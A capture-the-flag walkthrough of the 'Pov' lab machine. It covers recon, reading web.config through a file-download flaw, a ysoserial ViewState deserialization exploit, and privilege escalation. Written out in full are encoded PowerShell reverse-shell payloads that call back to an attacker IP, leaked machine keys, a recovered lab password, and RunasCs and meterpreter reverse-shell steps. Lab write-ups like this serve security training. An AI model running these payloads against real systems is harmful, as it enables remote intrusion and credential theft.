Introduction
POV machine is hard for beginer. There are lots of techique skiff beyond the CTF and close to real world attack maybe?
- Download files arbitrarily
- .NET forgery deserialization
- Windows Basic info collection
- Prvilege escalation trick ( the time I spent most )
Recon
Portscan
I use nmap scan, I find only port 80 open and then I will try directory buster and subdomain buster to collect more info.
# Nmap 7.94SVN scan initiated Wed Apr 3 03:31:07 2024 as: nmap -sT -T4 -sC --min-rate=1000 -p- -A -oN nmapscan.txt pov.htb
Nmap scan report for pov.htb (10.10.11.251)
Host is up (0.81s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: pov.htb
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr 3 03:34:25 2024 -- 1 IP address (1 host up) scanned in 199.00 seconds
But nothing have been found. That’s werid. In the default main web page, I found the [ dev.pov.htb ]
I have tried to find more web contents by gobuster in dev.pov.htb , it failed.
In the dev.pov.htb main page. I found contact page and home page is useful to help me to access the shell.
I tried to use XSS attack, but it didn’t work here.
.Net serialization attack
I still found some useful info in burp suite. The machine is running the IIS because the page is aspx. And __VIEWSTATE is a serialized data, we can use some tools and skill to get the shell.
LINK-1 Introduce **VIEWSTATE
LINK-2 Attack __VIEWSTATE
Yoserial is make some command to serialize with some crypto method. We need the key and crypto method, that’s the next target I aim to.
ysoserial.exe [command] [method-key] -> mailcious code
Because the key and crypto method is in web_config, I try to find some way to get it like download etc.
In the burp suite, I try to change the filename and it works.
We can change the file name to _web.config, and found some method.
We can create the reverse shell in reverse_shell
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAA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AbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==" --path="/portfolio/default.aspx" --apppath="/" --decryption="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validation="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"
We can change the __VIEWSTATE
Lateral Movment
We can get the shell, and find some interesting the file in **C:\Users\sfitz\Documents**
https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters#secure-string-to-plaintext
We can get the password.
UserName : alaading
Password : f8gQ8fynP44ek1m3
SecurePassword : System.Security.SecureString
Domain :
We can save the password in the $credential.
$securePassword = ConvertTo-SecureString "f8gQ8fynP44ek1m3" -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential("alaading", $securePassword)
Invoke-Command -ComputerName localhost
-Credential $credential -ScriptBlock
{powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMwAyACIALAA5ADAAMAAzACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==}
When I get the shell of alaading, I can found that SeDebugPriv is disabled.
My thought is making it enable.
https://github.com/antonioCoco/RunasCs
./RunasCs.exe alaading f8gQ8fynP44ek1m3 cmd.exe -r <ip>:<port>
Upload the meterpreter shell and migrate in system pri process.